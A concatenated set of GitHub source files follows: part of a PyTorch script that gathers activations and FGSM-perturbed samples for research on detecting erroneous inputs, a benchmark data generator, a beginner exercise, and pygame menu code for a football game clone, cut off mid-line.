model.zero_grad()\n        output = model(data)\n\n        pred = output.data.max(1, keepdim=True)[1]\n        correct += pred.eq(target.data.view_as(pred)).sum()\n\n\n        activations = model.get_activations(data).detach()\n        x = torch.flatten(activations).numpy()\n\n        out_vector=torch.flatten(F.softmax(output).detach()).numpy()\n        out_vector = np.sort(out_vector)\n\n        out_vector=np.append(x, out_vector)\n\n        places365_list.append(out_vector)\n\n\n\n    return np.array(places365_list)\n\n\nclass ImageFolderWithPaths(datasets.ImageFolder):\n    \"\"\"Custom dataset that includes image file paths. Extends\n    torchvision.datasets.ImageFolder\n    \"\"\"\n\n    # override the __getitem__ method. this is the method that dataloader calls\n    def __getitem__(self, index):\n        # this is what ImageFolder normally returns\n        path, target = self.imgs[index]\n\n\n        img = self.loader(path)\n        if self.transform is not None:\n            img = self.transform(img)\n        if self.target_transform is not None:\n            target = self.target_transform(target)\n\n\n\n        return img, target, path\n\ndef load_tinyimagenet():\n\n    train_transform = trn.Compose([torchvision.transforms.ToTensor(), torchvision.transforms.Normalize(mean, std)])\n    train_data = datasets.ImageFolder(\n        root=\"tiny_imagenet/tiny-imagenet-200/train\",\n        transform=train_transform)\n\n    train_loader = torch.utils.data.DataLoader(\n        train_data, batch_size=1, shuffle=True)\n\n\n    return train_loader\n\n\n\n\n\ndef generate_predictions(model):\n    correct_list = []\n    incorrect_list = []\n\n    model.eval()\n\n    i = 0\n    # criterion = nn.CrossEntropyLoss()\n    k=0\n    for i,(data,target) in enumerate(load_tinyimagenet(),0):\n\n        print('correct '+str(len(correct_list)))\n        print('incorrect '+str(len(incorrect_list)))\n\n        model.zero_grad()\n        output = model(data)\n\n        pred = output.data.max(1, keepdim=True)[1][0]\n        output[:, pred].backward()\n\n        activations = model.get_activations(data).detach()\n        x = torch.flatten(activations).numpy()\n\n        out_vector=torch.flatten(F.softmax(output).detach()).numpy()\n\n        out_vector = np.sort(out_vector)\n\n        out_vector=np.append(x, out_vector)\n\n        if pred.eq(target.data.view_as(pred)).sum() > 0:\n            correct_list.append(out_vector)\n        else:\n            incorrect_list.append(out_vector)\n\n        if len(correct_list)>10000 and len(incorrect_list)>5000:\n            break\n\n\n    return np.array(correct_list), np.array(incorrect_list)\n\n\n\n\n\ndef generate_fgsm(model, epsilon):\n    fgsm_data = []\n    criterion = nn.CrossEntropyLoss()\n\n    model.eval()\n    i=0\n    for i,(data,target) in enumerate(load_tinyimagenet(),0):\n        data.requires_grad = True\n        print(i)\n        if i>10000:\n            break\n        # fgsm attack\n        model.zero_grad()\n        output = model(data)\n\n        pred = output.max(1, keepdim=True)[1][0]\n\n        if pred.eq(target.data.view_as(pred)).sum() == 0:\n            print('incorrect pred, continuing')\n\n            continue\n\n        i+=1\n        loss = criterion(output, target).to(device)\n\n        loss.backward()\n        model.zero_grad()\n        data_grad = data.grad\n\n        #epsilon = 0.05\n        perturbed_data = fgsm_attack(data, epsilon, data_grad)\n        model.zero_grad()\n        output = model(perturbed_data,)\n        perturbed_guess = output.max(1, keepdim=True)[1][0]\n        if perturbed_guess.item() == pred.item():\n            activations = model.get_activations(perturbed_data).detach()\n            x = torch.flatten(activations).numpy()\n\n            out_vector = torch.flatten(F.softmax(output).detach()).numpy()\n            out_vector = np.sort(out_vector)\n\n            out_vector = np.append(x, out_vector)\n            fgsm_data.append(out_vector)\n\n\n    return fgsm_data\n\nmodel = WideResNet(40, 200, 2, dropRate=0.3)\n\nnetwork_state_dict = torch.load('tiny_imagenet/wrn_baseline_epoch_99.pt',map_location='cpu' )\nmodel.load_state_dict(network_state_dict)\nmodel.eval()\ndevice='cpu'\n\ndef load(file):\n    dataset = np.load(file)\n    print(dataset.shape)\n    return dataset\nname = 'wideresnet'\n\n\nfgsm_data=generate_fgsm(model, .01)\nnp.save('tiny_imagenet/combined/fgsm_correct'+str(name)+'.npy',np.array(fgsm_data))\nsys.exit()\n\ncorrect, incorrect=generate_predictions(model)\nnp.save('tiny_imagenet/combined/correct_preds_'+str(name)+'.npy',np.array(correct))\nnp.save('tiny_imagenet/combined/incorrect_preds_'+str(name)+'.npy',np.array(incorrect))\n\nsun_list=sun(model)\nnp.save('tiny_imagenet/combined/sun'+str(name)+'.npy',np.array(sun_list))\n\n\n\nplaces365_list=places365(model)\nnp.save('tiny_imagenet/combined/places365'+str(name)+'.npy',np.array(places365_list))\n","repo_name":"mattgorb/detecting_erroneous_inputs","sub_path":"tiny_imagenet/generate_combined.py","file_name":"generate_combined.py","file_ext":"py","file_size_in_byte":8073,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"3272495731","text":"import torch\nimport numpy as np\n\ndef gen_np_args(M):\n    proposals = np.random.rand(M, 4)\n    cls_preds = np.random.rand(M, 16)\n    offset_preds = np.random.rand(M, 16)\n    return [proposals, cls_preds, offset_preds]\n\ndef args_adaptor(np_args):\n    proposals = torch.from_numpy(np_args[0]).cuda()\n    cls_preds = torch.from_numpy(np_args[1]).cuda()\n    offset_preds = torch.from_numpy(np_args[2]).cuda()\n\n    return [proposals, cls_preds, offset_preds]\n","repo_name":"DeepLink-org/DLOP-Bench","sub_path":"bench/samples/long_tail/bucket2bbox/tvm/gen_data.py","file_name":"gen_data.py","file_ext":"py","file_size_in_byte":453,"program_lang":"python","lang":"en","doc_type":"code","stars":38,"dataset":"github-code","pt":"18"}
{"seq_id":"20517300083","text":"#Given two numbers, write a function that \n#returns the sum if the product is greater than 1000\n\n\n\n\ndef twonums(x,y):\n    if x * y > 1000:\n        return x + y \n    else:\n        return x * y","repo_name":"kbongco/python-practice","sub_path":"Day1/1-7.py","file_name":"1-7.py","file_ext":"py","file_size_in_byte":191,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"33177771706","text":"import time\r\nimport pygame\r\n\r\nimport physicsEngine\r\nimport gameHandler\r\n\r\nfrom render import WIDTH\r\nfrom render import HEIGHT\r\n\r\nimport functools\r\nfrom classes import *\r\nfrom constants import *\r\n \r\npygame.init()\r\n\r\nregularFont = pygame.font.Font(\"./assets/fonts/mem8YaGs126MiZpBA-UFVZ0b.ttf\",20)\r\nsemiboldFont = pygame.font.Font(\"./assets/fonts/mem5YaGs126MiZpBA-UNirkOUuhp.ttf\",20)\r\nboldFont = pygame.font.Font(\"./assets/fonts/mem5YaGs126MiZpBA-UN7rgOUuhp.ttf\",20)\r\n\r\nlightFont = pygame.font.Font(\"./assets/fonts/mem8YaGs126MiZpBA-UFVZ0b.ttf\",18)\r\nbuttonFont = pygame.font.Font(\"./assets/fonts/mem5YaGs126MiZpBA-UN7rgOUuhp.ttf\",18)\r\nbigFont = pygame.font.Font(\"./assets/fonts/mem5YaGs126MiZpBA-UN7rgOUuhp.ttf\",22)\r\ngigaFont = pygame.font.Font(\"./assets/fonts/mem5YaGs126MiZpBA-UN7rgOUuhp.ttf\",100)\r\n\r\nbuttonList = []\r\nplayerBarList = []\r\ndropdownList = []\r\n\r\nselectedPlayerBar = None\r\n\r\nisTyping = False\r\ntextBox = None\r\ntextBoxUnicode = True\r\ntypedObject = None\r\ntypedObjectAttribute = None\r\ntypedObjectUpdate = None\r\ntypeOnce = False\r\ntypeRawInput = False\r\ntypeResult = None\r\ntypedInO = None\r\ntypedInTB = None\r\n\r\nisDragging = False\r\ndragPointX = 0\r\ndragPointY = 0\r\n\r\nisDropdownListActive = False\r\ndropdownListBox = None\r\ndropdownSelectedItem = None\r\ndropdownListX = 0\r\ndropdownListY = 0\r\ndropdownListW = 0\r\ndropdownListH = 0\r\noverDropdownList = False\r\n\r\nredTeamBox = None\r\nspectatorTeamBox = None\r\nblueTeamBox = None\r\n\r\ngameSection = 0\r\n\r\n#these 2 functions comes from a reply by @unutbu on https://stackoverflow.com/questions/31174295/getattr-and-setattr-on-nested-objects \r\ndef rsetattr(obj, attr, val): \r\n    pre, _, post = attr.rpartition('.')\r\n    return setattr(rgetattr(obj, pre) if pre else obj, post, val)\r\n\r\ndef rgetattr(obj, attr, *args):\r\n    def _getattr(obj, attr):\r\n        return getattr(obj, attr, *args)\r\n    return functools.reduce(_getattr, [obj] + attr.split('.'))\r\n\r\n#BUTTON FUNCTIONS\r\n\r\ndef goToSection( button, argument):\r\n    global gameSection\r\n    gameSection = argument\r\n\r\ndef goToExit( button, argument):\r\n    gameHandler.saveRecord()\r\n    gameHandler.run = False\r\n\r\ndef addPlayer( button, argument):\r\n    gameHandler.joinedSound.play()\r\n    Player(\"Player \" + str(gameHandler.redPlayersCount+gameHandler.bluePlayersCount+gameHandler.spectatorsCount + 1), \"NONE\", NO_KEYS,)\r\n\r\ndef doNothing( button, argument):\r\n    pass\r\n\r\ndef changeNick( button, argument):\r\n    global isTyping\r\n    global textBox\r\n    global textBoxUnicode\r\n    global typedObject\r\n    global typedObjectAttribute\r\n    global typedObjectUpdate\r\n    global typeResult \r\n    global typeOnce\r\n    global typeRawInput\r\n    global selectedPlayerBar\r\n    \r\n    isTyping = True\r\n    textBox = button\r\n    textBoxUnicode = True\r\n    typedObject = selectedPlayerBar\r\n    typedObjectAttribute = \"player.nick\"\r\n    typedObjectUpdate = selectedPlayerBar.updateName\r\n    typeResult = selectedPlayerBar.player.nick\r\n    typeOnce = False\r\n    typeRawInput = False\r\n    \r\ndef goToPlayerControls( button, argument):\r\n    global gameSection\r\n    global selectedPlayerBar\r\n    gameSection = 5\r\n\r\n    global upKeyBox\r\n    global downKeyBox \r\n    global leftKeyBox \r\n    global rightKeyBox \r\n    global kickKeyBox\r\n\r\n    upKeyBox.string = pygame.key.name( selectedPlayerBar.player.keyUp)\r\n    downKeyBox.string = pygame.key.name( selectedPlayerBar.player.keyDown)\r\n    leftKeyBox.string = pygame.key.name( selectedPlayerBar.player.keyLeft)\r\n    rightKeyBox.string = pygame.key.name( selectedPlayerBar.player.keyRight)\r\n    kickKeyBox.string = pygame.key.name( selectedPlayerBar.player.keyKick)\r\n\r\n    upKeyBox.update()\r\n    downKeyBox.update()\r\n    leftKeyBox.update()\r\n    rightKeyBox.update()\r\n    kickKeyBox.update()\r\n\r\ndef changePlayerControls( button, argument):\r\n    global isTyping\r\n    global textBox\r\n    global textBoxUnicode\r\n    global typedObject\r\n    global typedObjectAttribute\r\n    global typedObjectUpdate\r\n    global typeResult \r\n    global typeOnce\r\n    global typeRawInput\r\n    global selectedPlayerBar\r\n    \r\n    isTyping = True\r\n    textBox = button\r\n    textBoxUnicode = False\r\n    typedObject = selectedPlayerBar\r\n    typedObjectUpdate = selectedPlayerBar.updateName #does it work?\r\n     \r\n    typeOnce = True\r\n    typeRawInput = True\r\n    \r\n    global upKeyBox\r\n    global downKeyBox \r\n    global leftKeyBox \r\n    global rightKeyBox \r\n    global kickKeyBox\r\n    \r\n    if argument == 0:\r\n        textBox = upKeyBox\r\n        typedObjectAttribute = \"player.keyUp\"\r\n    elif argument == 1:\r\n        textBox = downKeyBox\r\n        typedObjectAttribute = \"player.keyDown\"\r\n    elif argument == 2:\r\n        textBox = leftKeyBox\r\n        typedObjectAttribute = \"player.keyLeft\"\r\n    elif argument == 3:\r\n        textBox = rightKeyBox\r\n        typedObjectAttribute = \"player.keyRight\"\r\n    elif argument == 4:\r\n        textBox = kickKeyBox\r\n        typedObjectAttribute = \"player.keyKick\"\r\n\r\ndef deletePlayer( button, argument):\r\n    gameHandler.leftSound.play()\r\n    global selectedPlayerBar\r\n    if selectedPlayerBar.player.team == \"BLUE\":\r\n        gameHandler.bluePlayersCount -= 1\r\n    elif selectedPlayerBar.player.team == \"RED\":  \r\n        gameHandler.redPlayersCount -= 1\r\n    else: \r\n        gameHandler.spectatorsCount -= 1\r\n \r\n    for bar in playerBarList:\r\n        if bar.player.team == selectedPlayerBar.player.team:\r\n            if bar.pos > selectedPlayerBar.pos:\r\n                bar.pos -= 1\r\n                bar.updateCoordinates()\r\n                bar.updateName()\r\n    physicsEngine.playerList.remove( selectedPlayerBar.player)\r\n    playerBarList.remove( selectedPlayerBar)\r\n\r\n    goToSection( button, 1)\r\n\r\ndef startGame( button, argument):\r\n    global gameSection\r\n    \r\n    if not gameHandler.started:\r\n        gameSection = 2\r\n        \r\n        gameHandler.startNewMatch()\r\n        button.color = RED_BUTTON\r\n        button.colorOver = RED_OVER\r\n        button.colorPressed = RED_PRESSED\r\n        button.string = \"Stop game\"\r\n        button.update()\r\n    else:\r\n        gameHandler.started = False\r\n        \r\n        button.color = GREEN_BUTTON\r\n        button.colorOver = GREEN_OVER\r\n        button.colorPressed = GREEN_PRESSED\r\n        button.string = \"Start game\"\r\n        button.update()\r\n\r\ndef switchReplay( button, argument):\r\n    if gameHandler.replaysTurnedOn:\r\n        button.string = \"Replays OFF\"\r\n        gameHandler.replaysTurnedOn = False\r\n    else:\r\n        button.string = \"Replays ON\"\r\n        gameHandler.replaysTurnedOn = True\r\n    button.update()\r\n    \r\ndef dropdownTimeLimit( button, argument):\r\n    if not gameHandler.started:\r\n        global dropdownList\r\n        global isDropdownListActive\r\n        global dropdownListBox\r\n        global dropdownSelectedItem\r\n\r\n        button.string = str(gameHandler.timeLimit)\r\n        button.update()\r\n\r\n        dropdownList.clear()\r\n        isDropdownListActive = True\r\n        dropdownListBox = button\r\n        \r\n        for i in range (argument):\r\n            DropdownItem( button.x, button.y + (i+1)*button.h, button.w, button.h, str(i), button.font, BOX_DARKGRAY, DROPDOWN_BLUE, setTimeLimit, i)\r\n        dropdownSelectedItem = dropdownList[ gameHandler.timeLimit]\r\n    \r\ndef dropdownScoreLimit( button, argument):\r\n    if not gameHandler.started:\r\n        global dropdownList\r\n        global isDropdownListActive\r\n        global dropdownListBox\r\n        global dropdownSelectedItem\r\n\r\n        button.string = str(gameHandler.scoreLimit)\r\n        button.update()\r\n\r\n        dropdownList.clear()\r\n        isDropdownListActive = True\r\n        dropdownListBox = button\r\n        \r\n        for i in range (argument):\r\n            DropdownItem( button.x, button.y + (i+1)*button.h, button.w, button.h, str(i), button.font, BOX_DARKGRAY, DROPDOWN_BLUE, setScoreLimit, i) \r\n        dropdownSelectedItem = dropdownList[ gameHandler.scoreLimit]\r\n\r\ndef dropdownStadiums( button, argument):\r\n    if not gameHandler.started:\r\n        global dropdownList\r\n        global isDropdownListActive\r\n        global dropdownListBox\r\n        global dropdownSelectedItem\r\n\r\n        button.string = str(gameHandler.stadium)\r\n        button.update()\r\n\r\n        dropdownList.clear()\r\n        isDropdownListActive = True\r\n        dropdownListBox = button\r\n\r\n        for i, stadium in enumerate(gameHandler.stadiums()):\r\n            if stadium == gameHandler.stadium:\r\n                dropdownSelectedItem = DropdownItem( button.x, button.y + (i+1)*button.h, button.w, button.h, stadium, button.font, BOX_DARKGRAY, DROPDOWN_BLUE, setStadium, stadium)\r\n            else:\r\n                DropdownItem( button.x, button.y + (i+1)*button.h, button.w, button.h, stadium, button.font, BOX_DARKGRAY, DROPDOWN_BLUE, setStadium, stadium)\r\n    \r\n#DROPDOWN LIST FUNCTIONS\r\n\r\ndef setTimeLimit( argument):\r\n    gameHandler.timeLimit = argument\r\n\r\ndef setScoreLimit( argument):\r\n    gameHandler.scoreLimit = argument\r\n\r\ndef setStadium( argument):\r\n    gameHandler.stadium = argument\r\n    gameHandler.loadStadium( argument)  \r\n\r\n############################################################################################################################################################################################################################################\r\n#MENU FUNCTIONS \r\n\r\ndef init():\r\n    \r\n    #MAIN MENU\r\n    Button( 0, WIDTH/2 - 150, HEIGHT/2 - 200,300,400, \"\", False, buttonFont, WHITE, (26,33,37), (26,33,37), (26,33,37), doNothing, None)\r\n    Button( 0, WIDTH/2 + 50, HEIGHT/2 - 235,0,0, \"CLONE\", False, bigFont, WHITE, BACKGROUND_GREEN, BACKGROUND_GREEN, BACKGROUND_GREEN, doNothing, None)   \r\n    Button( 0, WIDTH/2 - 60, HEIGHT/2 - 150,120,60, \"Play\", False, buttonFont, WHITE, (36,73,103), (47,94,133), (25,52,73), goToSection, 1)\r\n    Button( 0, WIDTH/2 - 60, HEIGHT/2 - 50,120,60, \"Settings\", False, buttonFont, WHITE, (36,73,103), (47,94,133), (25,52,73), goToSection, 3)\r\n    Button( 0, WIDTH/2 - 60, HEIGHT/2 + 50,120,60, \"Exit\", False, buttonFont, WHITE, (36,73,103), (47,94,133), (25,52,73), goToExit, None)\r\n\r\n    #LOBBY\r\n    global redTeamBox\r\n    global spectatorTeamBox\r\n    global blueTeamBox\r\n    global startButton\r\n    \r\n    Button( 1, WIDTH/2 - 450, HEIGHT/2 - 275,900,550, \"\", False, buttonFont, WHITE, (26,33,37), (26,33,37), (26,33,37), doNothing, None)\r\n\r\n    Button( 1, WIDTH/2 - 230 - 60, HEIGHT/2 - 210,120,25, \"Red\", False, buttonFont, LABEL_RED, GRAY_BUTTON, GRAY_BUTTON, GRAY_BUTTON, doNothing, None)\r\n    Button( 1, WIDTH/2 - 60, HEIGHT/2 - 210,120,25, \"Spectators\", False, buttonFont, WHITE, GRAY_BUTTON, GRAY_BUTTON, GRAY_BUTTON, doNothing, None)\r\n    Button( 1, WIDTH/2 + 170, HEIGHT/2 - 210,120,25, \"Blue\", False, buttonFont, LABEL_BLUE, GRAY_BUTTON, GRAY_BUTTON, GRAY_BUTTON, doNothing, None)\r\n    redTeamBox = Button( 1, WIDTH/2 - 340, HEIGHT/2 - 180,220,290, \"\", False, buttonFont, WHITE, (17,22,25), (17,22,25), (17,22,25), doNothing, None)\r\n    spectatorTeamBox = Button( 1, WIDTH/2 - 110, HEIGHT/2 - 180,220,290, \"\", False, buttonFont, WHITE, (17,22,25), (17,22,25), (17,22,25), doNothing, None)\r\n    blueTeamBox = Button( 1, WIDTH/2 + 120, HEIGHT/2 - 180,220,290, \"\", False, buttonFont, WHITE, (17,22,25), (17,22,25), (17,22,25), doNothing, None)\r\n\r\n    Button( 1, WIDTH/2 - 445, HEIGHT/2 - 140,100,25, \"Add Player\", False, buttonFont, WHITE, BLUE_BUTTON, BLUE_OVER, BLUE_PRESSED, addPlayer, None)\r\n    Button( 1, WIDTH/2 + 340, HEIGHT/2 - 265,100,25, \"Leave\", False, buttonFont, WHITE, BLUE_BUTTON, BLUE_OVER, BLUE_PRESSED, goToSection, 0)\r\n\r\n    Button( 1, WIDTH/2 - 190, HEIGHT/2 + 125,150,20, \"Time limit\", True, lightFont, WHITE, MENU_GRAY, MENU_GRAY, MENU_GRAY, doNothing, None)\r\n    Button( 1, WIDTH/2 - 190, HEIGHT/2 + 150,150,20, \"Score limit\", True, lightFont, WHITE, MENU_GRAY, MENU_GRAY, MENU_GRAY, doNothing, None)\r\n    Button( 1, WIDTH/2 - 190, HEIGHT/2 + 175,150,20, \"Stadium\", True, lightFont, WHITE, MENU_GRAY, MENU_GRAY, MENU_GRAY, doNothing, None)\r\n    startButton = Button( 1, WIDTH/2 - 65, HEIGHT/2 + 220,130,25, \"Start game\", False, buttonFont, WHITE, (58,153,51), (70,184,61), (46,122,41), startGame, None)\r\n    \r\n    timeLimitBox = Button( 1, WIDTH/2 - 75, HEIGHT/2 + 125,150,20, str(gameHandler.timeLimit), True, lightFont, WHITE, BOX_DARKGRAY, BOX_DARKGRAY, BOX_DARKGRAY, dropdownTimeLimit, 6)\r\n    scoreLimitBox = Button( 1, WIDTH/2 - 75, HEIGHT/2 + 150,150,20, str(gameHandler.scoreLimit), True, lightFont, WHITE, BOX_DARKGRAY, BOX_DARKGRAY, BOX_DARKGRAY, dropdownScoreLimit, 6)\r\n    stadiumBox = Button( 1, WIDTH/2 - 75, HEIGHT/2 + 175,150,20, str(gameHandler.stadium), True, lightFont, WHITE, BOX_DARKGRAY, BOX_DARKGRAY, BOX_DARKGRAY, dropdownStadiums, None)\r\n\r\n    #GAME\r\n    global scoreBar\r\n    global timeBar\r\n    global overtimeSprite\r\n    global upperShadow\r\n    global lowerShadow\r\n    global upperInfo\r\n    global lowerInfo\r\n    global pauseBar\r\n    \r\n    Button( 2, WIDTH/2 - 220,0,440,40, \"\", False, buttonFont, WHITE, MENU_GRAY, MENU_GRAY, MENU_GRAY, doNothing, None)\r\n    scoreBar = Button( 2, WIDTH/2 - 180,0,50,40, \"Score\", False, bigFont, WHITE, MENU_GRAY, MENU_GRAY, MENU_GRAY, doNothing, None)\r\n    timeBar = Button( 2, WIDTH/2 + 160,0,50,40, \"Time\", False, bigFont, WHITE, MENU_GRAY, MENU_GRAY, MENU_GRAY, doNothing, None)\r\n    overtimeSprite = Button( 2, WIDTH/2 + 35,0,50,40, \"\", False, bigFont, WHITE, MENU_GRAY, MENU_GRAY, MENU_GRAY, doNothing, None)\r\n    upperShadow = Button( 2, WIDTH/2 + 5, HEIGHT/2 - 50 + 5,0,0, \"\", False, gigaFont, BLACK, BACKGROUND_GREEN, BACKGROUND_GREEN, BACKGROUND_GREEN, doNothing, None)\r\n    lowerShadow = Button( 2, WIDTH/2 + 5, HEIGHT/2 + 50 + 5,0,0, \"\", False, gigaFont, BLACK, BACKGROUND_GREEN, BACKGROUND_GREEN, BACKGROUND_GREEN, doNothing, None)\r\n    upperInfo = Button( 2, WIDTH/2, HEIGHT/2 - 50,0,0, \"\", False, gigaFont, WHITE, BACKGROUND_GREEN, BACKGROUND_GREEN, BACKGROUND_GREEN, doNothing, None)\r\n    lowerInfo = Button( 2, WIDTH/2, HEIGHT/2 + 50,0,0, \"\", False, gigaFont, WHITE, BACKGROUND_GREEN, BACKGROUND_GREEN, BACKGROUND_GREEN, doNothing, None)\r\n    pauseBar = Button( 2, WIDTH/2, HEIGHT/2 + 100,0,10, \"\", False, buttonFont, WHITE, WHITE, WHITE, WHITE, doNothing, None)\r\n\r\n    Button( 2, WIDTH/2 - 215,10,25,25, \"\", False, buttonFont, WHITE, PLAYER_RED, PLAYER_RED, PLAYER_RED, doNothing, None)\r\n    Button( 2, WIDTH/2 - 120,10,25,25, \"\", False, buttonFont, WHITE, PLAYER_BLUE, PLAYER_BLUE, PLAYER_BLUE, doNothing, None)\r\n\r\n    #SETTINGS\r\n    Button( 3, WIDTH/2 - 150, HEIGHT/2 - 200,300,400, \"\", False, buttonFont, WHITE, (26,33,37), (26,33,37), (26,33,37), doNothing, None)\r\n    Button( 3, WIDTH/2 - 60, HEIGHT/2 - 150,120,60, \"Replays ON\", False, buttonFont, WHITE, (36,73,103), (47,94,133), (25,52,73), switchReplay, None)\r\n    Button( 3, WIDTH/2 - 60, HEIGHT/2 - 50,120,60, \"Close\", False, buttonFont, WHITE, (36,73,103), (47,94,133), (25,52,73), goToSection, 0)\r\n\r\n    #PLAYER SETTINGS\r\n    global nickBox\r\n    \r\n    Button( 4, WIDTH/2 - 150, HEIGHT/2 - 275,300,550, \"\", False, buttonFont, WHITE, (26,33,37), (26,33,37), (26,33,37), doNothing, None)   \r\n    Button( 4, WIDTH/2 - 110, HEIGHT/2 - 250,50,60, \"Nick:\", False, buttonFont, WHITE, (36,73,103), (36,73,103), (36,73,103), doNothing, None)\r\n    nickBox = Button( 4, WIDTH/2 - 60, HEIGHT/2 - 250,180,60, \"\", True, lightFont, WHITE, (17,22,25), (17,22,25), (17,22,25), changeNick, None)\r\n\r\n    Button( 4, WIDTH/2 - 110, HEIGHT/2 - 170,220,60, \"Change controls\", False, buttonFont, WHITE, (36,73,103), (47,94,133), (25,52,73), goToPlayerControls, None)\r\n    #Button( 4, WIDTH/2 - 110, HEIGHT/2 - 90,220,60, \"Change avatar\", False, buttonFont, WHITE, (36,73,103), (47,94,133), (25,52,73), goToSection, 1)\r\n    Button( 4, WIDTH/2 - 110, HEIGHT/2 - 90,220,60, \"Close\", False, buttonFont, WHITE,(36,73,103), (47,94,133), (25,52,73), goToSection, 1)\r\n    Button( 4, WIDTH/2 - 110, HEIGHT/2 - 10,220,60, \"Delete player\", False, buttonFont, WHITE, (36,73,103), (47,94,133), (25,52,73), deletePlayer, None)\r\n\r\n    #CONTROLS\r\n    global upKeyBox\r\n    global downKeyBox \r\n    global leftKeyBox \r\n    global rightKeyBox \r\n    global kickKeyBox\r\n    \r\n    Button( 5, WIDTH/2 - 150, HEIGHT/2 - 275,300,550, \"\", False, buttonFont, WHITE, (26,33,37), (26,33,37), (26,33,37), doNothing, None)   \r\n    Button( 5, WIDTH/2 - 110, HEIGHT/2 - 250,80,60, \"Up\", False, buttonFont, WHITE, BLUE_BUTTON, BLUE_BUTTON, BLUE_BUTTON, doNothing, None)\r\n    Button( 5, WIDTH/2 - 110, HEIGHT/2 - 170,80,60, \"Down\", False, buttonFont, WHITE, BLUE_BUTTON, BLUE_BUTTON, BLUE_BUTTON, doNothing, None)\r\n    Button( 5, WIDTH/2 - 110, HEIGHT/2 - 90,80,60, \"Left\", False, buttonFont, WHITE, BLUE_BUTTON, BLUE_BUTTON, BLUE_BUTTON, doNothing, None)\r\n    Button( 5, WIDTH/2 - 110, HEIGHT/2 - 10,80,60, \"Right\", False, buttonFont, WHITE, BLUE_BUTTON, BLUE_BUTTON, BLUE_BUTTON, doNothing, None)\r\n    Button( 5, WIDTH/2 - 110, HEIGHT/2 + 70,80,60, \"Kick\", False, buttonFont, WHITE, BLUE_BUTTON, BLUE_BUTTON, BLUE_BUTTON, doNothing, None)\r\n    Button( 5, WIDTH/2 - 110, HEIGHT/2 + 150,220,60, \"Close\", False, buttonFont, WHITE, BLUE_BUTTON, BLUE_OVER, BLUE_PRESSED, goToSection, 4)\r\n\r\n    upKeyBox = Button( 5, WIDTH/2 - 30, HEIGHT/2 - 250,160,60, \"\", True, lightFont, WHITE, BOX_DARKGRAY, BOX_DARKGRAY, BOX_DARKGRAY, changePlayerControls, 0)\r\n    downKeyBox = Button( 5, WIDTH/2 - 30, HEIGHT/2 - 170,160,60, \"\", True, lightFont, WHITE, BOX_DARKGRAY, BOX_DARKGRAY, BOX_DARKGRAY, changePlayerControls, 1)\r\n    leftKeyBox = Button( 5, WIDTH/2 - 30, HEIGHT/2 - 90,160,60, \"\", True, lightFont, WHITE, BOX_DARKGRAY, BOX_DARKGRAY, BOX_DARKGRAY, changePlayerControls, 2)\r\n    rightKeyBox = Button( 5, WIDTH/2 - 30, HEIGHT/2 - 10,160,60, \"\", True, lightFont, WHITE, BOX_DARKGRAY, BOX_DARKGRAY, BOX_DARKGRAY, changePlayerControls, 3)\r\n    kickKeyBox = Button( 5, WIDTH/2 - 30, HEIGHT/2 + 70,160,60, \"\", True, lightFont, WHITE, BOX_DARKGRAY, BOX_DARKGRAY, BOX_DARKGRAY, changePlayerControls, 4)\r\n    \r\ndef update(previousKeys, currentKeys, mouseWasPressed, mousePressed, events):\r\n    global isDragging\r\n    global dragPointX\r\n    global dragPointY\r\n\r\n    global isTyping\r\n    global textBox\r\n    global textBoxUnicode\r\n    global typedObject\r\n    global typedObjectAttribute\r\n    global typedObjectUpdate\r\n    global typeResult \r\n    global typeOnce\r\n    global typeRawInput\r\n    global selectedPlayerBar\r\n    global typedInO\r\n    global typedInTB\r\n\r\n    global isDropdownListActive \r\n    global dropdownListBox \r\n    global dropdownSelectedItem \r\n    \r\n    global redTeamBox\r\n    global blueTeamBox\r\n    global spectatorTeamBox\r\n\r\n    mousePos = pygame.mouse.get_pos()\r\n\r\n    #FROM GAME TO MENU\r\n    if gameSection == 2 and currentKeys[pygame.K_ESCAPE] and not previousKeys[pygame.K_ESCAPE]:\r\n        goToSection( None, 1)\r\n        gameHandler.pauseMatch()\r\n    elif gameSection == 1 and currentKeys[pygame.K_ESCAPE] and not previousKeys[pygame.K_ESCAPE] and gameHandler.started:\r\n        goToSection( None, 2)\r\n        gameHandler.resumeMatch()\r\n        \r\n    if gameSection == 2 and currentKeys[pygame.K_p] and not previousKeys[pygame.K_p] and not gameHandler.paused:\r\n        gameHandler.pauseMatch()\r\n    elif gameSection == 2 and currentKeys[pygame.K_p] and not previousKeys[pygame.K_p]:\r\n        gameHandler.resumeMatch()\r\n\r\n    #MENU LOGIC\r\n    if isTyping:\r\n        if currentKeys[pygame.K_ESCAPE] or currentKeys[pygame.K_RETURN] or mousePressed[0] and ( textBox.x > mousePos[0] or  mousePos[0] > textBox.x + textBox.w or textBox.y > mousePos[1] or mousePos[1] > textBox.y + textBox.h ):\r\n            isTyping = False\r\n            \r\n            rsetattr( typedObject, typedObjectAttribute, typeResult)\r\n            typedObjectUpdate()\r\n            \r\n        else:\r\n            for event in events:\r\n                if event.type == pygame.KEYDOWN:\r\n                    if typeRawInput:\r\n                        typedInO = event.key\r\n                    else:\r\n                        typedInO = event.unicode\r\n                        \r\n                    if textBoxUnicode:\r\n                        typedInTB = event.unicode\r\n                    else:\r\n                        typedInTB = pygame.key.name(event.key)\r\n                    \r\n                    if typeOnce:\r\n                        textBox.string = typedInTB\r\n                        typeResult = typedInO\r\n                        rsetattr( typedObject, typedObjectAttribute, typeResult)\r\n                        typedObjectUpdate()\r\n                        isTyping = False\r\n                    else:\r\n                        if event.key == 8: #backspace\r\n                            textBox.string = textBox.string[0:-1]\r\n                            typeResult = typeResult[0:-1]\r\n                        else:\r\n                            textBox.string += typedInTB\r\n                            typeResult += typedInO\r\n                    textBox.update()     \r\n            \r\n    for button in buttonList:\r\n        button.isOver = False\r\n\r\n        if button.section == gameSection and not isDropdownListActive :    \r\n            if button.x <= mousePos[0] and  mousePos[0] <= button.x + button.w:\r\n                if button.y <= mousePos[1] and  mousePos[1] <= button.y + button.h:\r\n                    button.isOver = True\r\n\r\n            if mouseWasPressed[0] and not mousePressed[0]:\r\n                if button.isOver and button.isPressed:\r\n                    button.f( button, button.argument)\r\n                button.isPressed = False\r\n                \r\n            elif not mouseWasPressed[0] and mousePressed[0] and button.isOver:\r\n                button.isPressed = True\r\n\r\n    if isDropdownListActive and gameSection == 1:\r\n        overDropdownList = False\r\n            \r\n        for item in dropdownList:\r\n            if item.x <= mousePos[0] and  mousePos[0] <= item.x + 